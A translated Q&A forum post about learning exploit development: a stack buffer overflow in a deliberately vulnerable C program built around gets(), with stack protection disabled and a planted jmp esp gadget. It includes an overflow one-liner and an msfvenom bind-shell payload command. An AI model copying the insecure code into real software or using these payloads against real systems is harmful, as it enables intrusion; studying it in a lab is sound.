小编Epl*_*lox的帖子

漏洞利用开发 - GETS 和 Shellcode

试图了解更多有关利用开发和构建 shellcode 的信息,但遇到了一个我不明白背后原因的问题。

为什么我无法运行 execve("/bin/sh") 等 shellcode 并生成可以与之交互的 shell?另一方面,我可以创建一个反向/bind_tcp shell 并使用 netcat 连接到它。

示例程序:

// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack

#include <stdio.h>
#include <string.h>

void test() {
    char pass[50];
    printf("Password: ");
    gets(pass);
    if (strcmp(pass, "epicpassw0rd") == 0) {
        printf("Woho, you got it!\n");
    }
}

int main() {
    test();
    __asm__("movl $0xe4ffd4ff, %edx");  // jmp esp, call esp - POC
    return(0);
}
Run Code Online (Sandbox Code Playgroud)

漏洞利用示例:

python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Run Code Online (Sandbox Code Playgroud)

示例有效负载(工作):

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" …
Run Code Online (Sandbox Code Playgroud)

c exploit gets shellcode

5
推荐指数
1
解决办法
2488
查看次数

标签 统计

c ×1

exploit ×1

gets ×1

shellcode ×1